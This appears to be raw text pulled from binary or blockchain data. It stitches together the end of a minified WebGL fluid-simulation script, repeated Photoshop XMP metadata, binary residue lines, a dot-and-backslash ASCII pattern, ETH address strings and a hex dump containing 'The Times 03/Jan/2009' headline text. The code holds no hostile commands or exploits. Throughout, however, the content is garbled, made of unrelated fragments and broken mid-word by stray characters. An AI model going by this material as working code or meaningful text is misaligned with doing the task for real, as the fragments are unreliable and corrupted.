issipation,config.DENSITY_DISSIPATION),blit(dye.write),dye.swap()}function render(a){currentFrame++,config.BLOOM&&applyBloom(dye.read,bloom),config.SUNRAYS&&(applySunrays(dye.read,dye.write,sunrays),blur(sunrays,sunraysTemp,1)),null!=a&&config.TRANSPARENT?gl.disable(gl.BLEND):(gl.blendFunc(gl.ONE,gl.ONE_MINUS_SRC_ALPHA),gl.enable(gl.BLEND)),config.TRANSPARENT||drawColor(a,normalizeColor(config.BACK_COLOR)),null==a&&config.TRANSPARENT&&drawCheckerboard(a),drawDisplay(a)}function drawColor(a,b){colorProgram.bind(),glM
.uniform4f(colorProgram.uniforms.color,b.r,b.g,b.b,1),blit(a)}function drawCheckerboard(a){checkerboardProgram.bind(),gl.uniform1f(checkerboardProgram.uniforms.aspectRatio,canvas.width/canvas.height),blit(a)}function drawDisplay(a){let b=null==a?gl.drawingBufferWidth:a.width,c=null==a?gl.drawingBufferHeight:a.height;displayMaterial.bind(),config.SHADING&&gl.uniform2f(displayMaterial.uniforms.texelSize,1/b,1/c),gl.uniform1i(displayMaterial.uniforms.uTexture,dye.read.attach(0)),config.BLOOM&&gl.uniform1i(displayMaterM
ial.uniforms.uBloom,bloom.attach(1)),config.SUNRAYS&&gl.uniform1i(displayMaterial.uniforms.uSunrays,sunrays.attach(3)),blit(a)}function applyBloom(a,b){if(2>bloomFramebuffers.length)return;let c=b;gl.disable(gl.BLEND),bloomPrefilterProgram.bind();let d=config.BLOOM_THRESHOLD*config.BLOOM_SOFT_KNEE+1e-4,e=config.BLOOM_THRESHOLD-d;gl.uniform3f(bloomPrefilterProgram.uniforms.curve,e,2*d,.25/d),gl.uniform1f(bloomPrefilterProgram.uniforms.threshold,config.BLOOM_THRESHOLD),gl.uniform1i(bloomPrefilterProgram.uniforms.uTexM
ture,a.attach(0)),blit(c),bloomBlurProgram.bind();for(let d,e=0;e<bloomFramebuffers.length;e++)d=bloomFramebuffers[e],gl.uniform2f(bloomBlurProgram.uniforms.texelSize,c.texelSizeX,c.texelSizeY),gl.uniform1i(bloomBlurProgram.uniforms.uTexture,c.attach(0)),blit(d),c=d;gl.blendFunc(gl.ONE,gl.ONE),gl.enable(gl.BLEND);for(let d,e=bloomFramebuffers.length-2;0<=e;e--)d=bloomFramebuffers[e],gl.uniform2f(bloomBlurProgram.uniforms.texelSize,c.texelSizeX,c.texelSizeY),gl.uniform1i(bloomBlurProgram.uniforms.uTexture,c.attach(0M
)),gl.viewport(0,0,d.width,d.height),blit(d),c=d;gl.disable(gl.BLEND),bloomFinalProgram.bind(),gl.uniform2f(bloomFinalProgram.uniforms.texelSize,c.texelSizeX,c.texelSizeY),gl.uniform1i(bloomFinalProgram.uniforms.uTexture,c.attach(0)),gl.uniform1f(bloomFinalProgram.uniforms.intensity,config.BLOOM_INTENSITY),blit(b)}function applySunrays(a,b,c){gl.disable(gl.BLEND),sunraysMaskProgram.bind(),gl.uniform1i(sunraysMaskProgram.uniforms.uTexture,a.attach(0)),blit(b),sunraysProgram.bind(),gl.uniform1f(sunraysProgram.uniformM
s.weight,config.SUNRAYS_WEIGHT),gl.uniform1i(sunraysProgram.uniforms.uTexture,b.attach(0)),blit(c)}function blur(a,b,c){blurProgram.bind();for(let d=0;d<c;d++)gl.uniform2f(blurProgram.uniforms.texelSize,a.texelSizeX,0),gl.uniform1i(blurProgram.uniforms.uTexture,a.attach(0)),blit(b),gl.uniform2f(blurProgram.uniforms.texelSize,0,a.texelSizeY),gl.uniform1i(blurProgram.uniforms.uTexture,b.attach(0)),blit(a)}function splatPointer(a){if(0==currentFrame%2){let b=a.deltaX*config.SPLAT_FORCE,c=a.deltaY*config.SPLAT_FORCE;spM
lat(a.texcoordX,a.texcoordY,b,c,a.color)}}function multipleSplats(a){for(let b=0;b<a;b++){const a=generateColor();a.r*=10,a.g*=10,a.b*=10;const b=Math.random(),c=Math.random(),d=1e3*(Math.random()-.5),e=1e3*(Math.random()-.5);splat(b,c,d,e,a)}}function splat(a,b,c,d,e){splatProgram.bind(),gl.uniform1i(splatProgram.uniforms.uTarget,velocity.read.attach(0)),gl.uniform1f(splatProgram.uniforms.aspectRatio,canvas.width/canvas.height),gl.uniform2f(splatProgram.uniforms.point,a,b),gl.uniform3f(splatProgram.uniforms.color,M
c,d,0),gl.uniform1f(splatProgram.uniforms.radius,correctRadius(config.SPLAT_RADIUS/100)),blit(velocity.write),velocity.swap(),gl.uniform1i(splatProgram.uniforms.uTarget,dye.read.attach(0)),gl.uniform3f(splatProgram.uniforms.color,e.r,e.g,e.b),blit(dye.write),dye.swap()}function correctRadius(a){let b=canvas.width/canvas.height;return 1<b&&(a*=b),a}canvas.addEventListener("mousedown",a=>{let b=scaleByPixelRatio(a.offsetX),c=scaleByPixelRatio(a.offsetY),d=pointers.find(a=>-1==a.id);null==d&&(d=new pointerPrototype),uM
pdatePointerDownData(d,-1,b,c)}),canvas.addEventListener("mousemove",a=>{let b=pointers[0];if(!b.down)return;let c=scaleByPixelRatio(a.offsetX),d=scaleByPixelRatio(a.offsetY);updatePointerMoveData(b,c,d)}),window.addEventListener("mouseup",()=>{updatePointerUpData(pointers[0])}),canvas.addEventListener("touchstart",a=>{a.preventDefault();const b=a.targetTouches;for(;b.length>=pointers.length;)pointers.push(new pointerPrototype);for(let c=0;c<b.length;c++){let a=scaleByPixelRatio(b[c].pageX),d=scaleByPixelRatio(b[c]M
.pageY);updatePointerDownData(pointers[c+1],b[c].identifier,a,d)}}),canvas.addEventListener("touchmove",a=>{a.preventDefault();const b=a.targetTouches;for(let c,d=0;d<b.length;d++){if(c=pointers[d+1],!c.down)continue;let a=scaleByPixelRatio(b[d].pageX),e=scaleByPixelRatio(b[d].pageY);updatePointerMoveData(c,a,e)}},!1),window.addEventListener("touchend",a=>{const b=a.changedTouches;for(let c,d=0;d<b.length;d++)c=pointers.find(a=>a.id==b[d].identifier),null!=c&&updatePointerUpData(c)}),window.addEventListener("keydowM
n",a=>{"KeyP"===a.code&&(config.PAUSED=!config.PAUSED)," "===a.key&&splatStack.push(parseInt(20*Math.random())+5)});function updatePointerDownData(a,b,c,d){a.id=b,a.down=!0,a.moved=!1,a.texcoordX=c/canvas.width,a.texcoordY=1-d/canvas.height,a.prevTexcoordX=a.texcoordX,a.prevTexcoordY=a.texcoordY,a.deltaX=0,a.deltaY=0,a.color=generateColor()}function updatePointerMoveData(a,b,c){a.prevTexcoordX=a.texcoordX,a.prevTexcoordY=a.texcoordY,a.texcoordX=b/canvas.width,a.texcoordY=1-c/canvas.height,a.deltaX=correctDeltaX(a.tM
excoordX-a.prevTexcoordX),a.deltaY=correctDeltaY(a.texcoordY-a.prevTexcoordY),a.moved=0<Math.abs(a.deltaX)||0<Math.abs(a.deltaY)}function updatePointerUpData(a){a.down=!1}function correctDeltaX(a){let b=canvas.width/canvas.height;return 1>b&&(a*=b),a}function correctDeltaY(a){let b=canvas.width/canvas.height;return 1<b&&(a/=b),a}function generateColor(){let a=HSVtoRGB(Math.random(),1,1);return a.r*=.15,a.g*=.15,a.b*=.15,a}function generateColorFromHue(a){let b=HSVtoRGB(a,1,1);return b.r*=.15,b.g*=.15,b.b*=.15,b}funM
ction HSVtoRGB(a,c,d){let e,h,j,k,l,m,n,o;switch(k=Math.floor(6*a),l=6*a-k,m=d*(1-c),n=d*(1-l*c),o=d*(1-(1-l)*c),k%6){case 0:e=d,h=o,j=m;break;case 1:e=n,h=d,j=m;break;case 2:e=m,h=d,j=o;break;case 3:e=m,h=n,j=d;break;case 4:e=o,h=m,j=d;break;case 5:e=d,h=m,j=n;}return{r:e,g:h,b:j}}function normalizeColor(a){let b={r:a.r/255,g:a.g/255,b:a.b/255};return b}function wrap(a,b,c){let d=c-b;return 0==d?b:(a-b)%d+b}function getResolution(a){let b=gl.drawingBufferWidth/gl.drawingBufferHeight;1>b&&(b=1/b);let c=Math.round(aM
),d=Math.round(a*b);return gl.drawingBufferWidth>gl.drawingBufferHeight?{width:d,height:c}:{width:c,height:d}}function getTextureScale(a,b,c){return{x:b/a.width,y:c/a.height}}function scaleByPixelRatio(a){let b=window.devicePixelRatio||1;return Math.floor(a*b)}function hashCode(a){if(0==a.length)return 0;let b=0;for(let c=0;c<a.length;c++)b=(b<<5)-b+a.charCodeAt(c),b|=0;return b}
iCCPkCGColorSpaceITUR_709
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <exif:PixelXDimension>362</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
     <exif:PixelYDimension>362</exif:PixelYDimension>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <tiff:YResolution>144</tiff:YResolution>
         <tiff:XResolution>144</tiff:XResolution>
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.4 (Windows)" xmpMM:InstanceID="xmp.iid:DC17445CABD011ED80DAEE0961D6997B" xmpMM:DocumentID="xmp.did:DC17445DABD011ED80DAEE0961D6997B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DC17445AABD011ED80DAEE0961D6997B" stRef:documentID="xmp.did:DC17445BABD011ED80DAEE0961D6997B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
!!!!!!''''',,,,,,,,,,
--------------------------------------------------
1http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.5 (Macintosh)" xmpMM:InstanceID="xmp.iid:0E25D7FDA07D11ED8BCB8E95E8B078D3" xmpMM:DocumentID="xmp.did:0E25D7FEA07D11ED8BCB8E95E8B078D3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0E25D7FBA07D11ED8BCB8E95E8B078D3" stRef:documentID="xmp.did:0E25D7FCA07D11ED8BCB8E95E8B078D3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
1http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.5 (Macintosh)" xmpMM:InstanceID="xmp.iid:F9531359A07C11ED8BCB8E95E8B078D3" xmpMM:DocumentID="xmp.did:F953135AA07C11ED8BCB8E95E8B078D3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F9531357A07C11ED8BCB8E95E8B078D3" stRef:documentID="xmp.did:F9531358A07C11ED8BCB8E95E8B078D3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:D4C223CEA8AC11ED8C95993D068D0D43" xmpMM:InstanceID="xmp.iid:D4C223CDA8AC11ED8C95993D068D0D43" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0d18448-e896-5e43-a0da-1b9382b0ded8" stRef:documentID="xmp.did:e0d18448-e896-5e43-a0da-1b9382b0ded8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/plain;charset=utf-8
1No tengo paz, si no te tengo a vos! - OrdinalPoeth!
Bj@69be9b199c542c56183c408a23d7fd41fc878ec2634be6583db1659fb0e91063*
FPUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
k!""""""""""""""""""""""""
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&&&&&&,,,,,1111111111
#44444444444444444444444444444444444444444444444444
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:DB1872D3AA1211ED8D56C946E08738D3" xmpMM:InstanceID="xmp.iid:DB1872D2AA1211ED8D56C946E08738D3" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
\.\...\...\...\.\...\\...\.........\...\\.....\...\...\.....\...
............\..\..\..\..\\.\\.\\..\..\..\..\..\.................
\.......\..\...\...\....\.\....\...\....\.\....\...\......\.\...
....\.\.\.\...........\.\......\.\.........\.\.\.\.\.........\.\
...\.......\\..\.....\...\........\........\...\.....\..\\......
..........\....\\..\\\...\..........\...\\...\\..............\..
\..\.........\\..\........\..\\.........\.\\.........\..\\.\....
.........\.\.\.\\.\.\.............\.\.\\.................\.\....
..\\....\\....\\....\\....\\....\\....\\....\\..................
.......\\..\.......\..\......\..\......\..\\......\..\\........\
\..\.\.........\.\..\.\..\......\.\..\..\.\......\.\\.\..\.\....
..\.\..\.\.....\............\.\.....\.\..\.\.....\.\.\..........
.\..\.......\.....\..\.....\.\.....\..\.....\.......\\......\\..
......\\.......\....\.......\\...\.......\\......\\...\........\
\.....\.\......\.\.....\.\.........\......\\.\....\.\\......\...
.\\.\\.\\.\\.\\.\\..\..\........................................
\....\.\.......\....\.\......\\\....\.......\\\............\\\..
......\...\...\\......\...\...\\..........\...\\..........\...\\
.\.....\....\.......\....\.....\....\.......\..\.\.....\..\.\...
..\..\...\.........\...\...\.\...\...\...\...\.\...\...\........
\....\.\\.\..\.\\.\....\.........................\..\.\..\.\\.\.
\\..\\..\...\.........................\...\...\..\\..\\..\...\..
...\.....\\.....\\.....\.....\\.....\.......\.....\.\.....\.....
..............\\...\\.\\\..\....\....................\...\\..\\\
.\\\...................\\\......\\\...................\\\......\
\\..\\....\...\...\.....\...\...\.....\...\........\\..\\.......
..\...\.\........\........\........\........\........\........\.
.\......\...\......\...\......\...\......\...\.\....\...\.\.....
.\.........\.\...........\...........\...........\.\.........\.\
......\..\..\\..\..\..\..........\..\..\.............\..\..\..\.
.\....\....\....\\....\....\......\....\....\.....\....\....\...
.\\\............\\\............\......\\\............\\\........
.\\\............\\\............\......\\\............\\\........
.\....\....\....\\....\....\......\....\....\.....\....\....\...
......\..\..\\..\..\..\..........\..\..\.............\..\..\..\.
.\.........\.\...........\...........\...........\.\.........\.\
.\......\...\......\...\......\...\......\...\.\....\...\.\.....
..\...\.\........\........\........\........\........\........\.
\\..\\....\...\...\.....\...\...\.....\...\........\\..\\.......
.\\\...................\\\......\\\...................\\\......\
..............\\...\\.\\\..\....\....................\...\\..\\\
...\.....\\.....\\.....\.....\\.....\.......\.....\.\.....\.....
\\..\\..\...\.........................\...\...\..\\..\\..\...\..
\....\.\\.\..\.\\.\....\.........................\..\.\..\.\\.\.
..\..\...\.........\...\...\.\...\...\...\...\.\...\...\........
.\.....\....\.......\....\.....\....\.......\..\.\.....\..\.\...
......\...\...\\......\...\...\\..........\...\\..........\...\\
\....\.\.......\....\.\......\\\....\.......\\\............\\\..
.\\.\\.\\.\\.\\.\\..\..\........................................
\.....\.\......\.\.....\.\.........\......\\.\....\.\\......\...
......\\.......\....\.......\\...\.......\\......\\...\........\
.\..\.......\.....\..\.....\.\.....\..\.....\.......\\......\\..
..\.\..\.\.....\............\.\.....\.\..\.\.....\.\.\..........
\..\.\.........\.\..\.\..\......\.\..\..\.\......\.\\.\..\.\....
.......\\..\.......\..\......\..\......\..\\......\..\\........\
..\\....\\....\\....\\....\\....\\....\\....\\..................
.........\.\.\.\\.\.\.............\.\.\\.................\.\....
\..\.........\\..\........\..\\.........\.\\.........\..\\.\....
..........\....\\..\\\...\..........\...\\...\\..............\..
...\.......\\..\.....\...\........\........\...\.....\..\\......
....\.\.\.\...........\.\......\.\.........\.\.\.\.\.........\.\
\.......\..\...\...\....\.\....\...\....\.\....\...\......\.\...
............\..\..\..\..\\.\\.\\..\..\..\..\..\.................
\.\...\...\...\.\...\\...\.........\...\\.....\...\...\.....\...
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyM
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyM
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
""""""""""""""""""""""""""""""""""""""""""""""""""
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
FjDOUT:F246185798808873A47B4DF128244140250636FEA98C58797C86D52AC02E6B20
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.4 (Windows)" xmpMM:InstanceID="xmp.iid:DFD35DCCABD011ED91F899236335FCF0" xmpMM:DocumentID="xmp.did:DFD35DCDABD011ED91F899236335FCF0"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DFD35DCAABD011ED91F899236335FCF0" stRef:documentID="xmp.did:DFD35DCBABD011ED91F899236335FCF0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FjDOUT:3FE3F1F87221D1C00C5BB92E603F42583283DC5E22CA0A440FFB9EE2EADCD0EE
@j>=:ETH.ETH:0x3d8A30E206F56A7857b9F142662D5BF006b030c3:842252::0
Bj@=:ETH.ETH:0x5BE75Eb25fd73adD2696BF8Db3Cd25e83388FBb3:534918:te:0
text/plain;charset=utf-8
00000000   01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00000010   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00000020   00 00 00 00 3B A3 ED FD  7A 7B 12 B2 7A C7 2C 3E   ....;
00000030   67 76 8F 61 7F C8 1B C3  88 8A 51 32 3A 9F B8 AA   gv.a.
00000040   4B 1E 5E 4A 29 AB 5F 49  FF FF 00 1D 1D AC 2B 7C   K.^J)
00000050   01 01 00 00 00 01 00 00  00 00 00 00 00 00 00 00   ................
00000060   00 00 00 00 00 00 0M
0 00  00 00 00 00 00 00 00 00   ................
00000070   00 00 00 00 00 00 FF FF  FF FF 4D 04 FF FF 00 1D   ......
00000080   01 04 45 54 68 65 20 54  69 6D 65 73 20 30 33 2F   ..EThe Times 03/
00000090   4A 61 6E 2F 32 30 30 39  20 43 68 61 6E 63 65 6C   Jan/2009 Chancel
000000A0   6C 6F 72 20 6F 6E 20 62  72 69 6E 6B 20 6F 66 20   lor on brink of
000000B0   73 65 63 6F 6E 64 20 62  61 69 6C 6F 75 74 20 66   second bailout f
000000C0   6F 72 20 62 61 6E 6B 73  FF FF FF FF 01 00 F2 05   or banksM
000000D0   2A 01 00 00 00 43 41 04  67 8A FD B0 FE 55 48 27   *....CA.g
000000E0   19 67 F1 A6 71 30 B7 10  5C D6 A8 28 E0 39 09 A6   .g
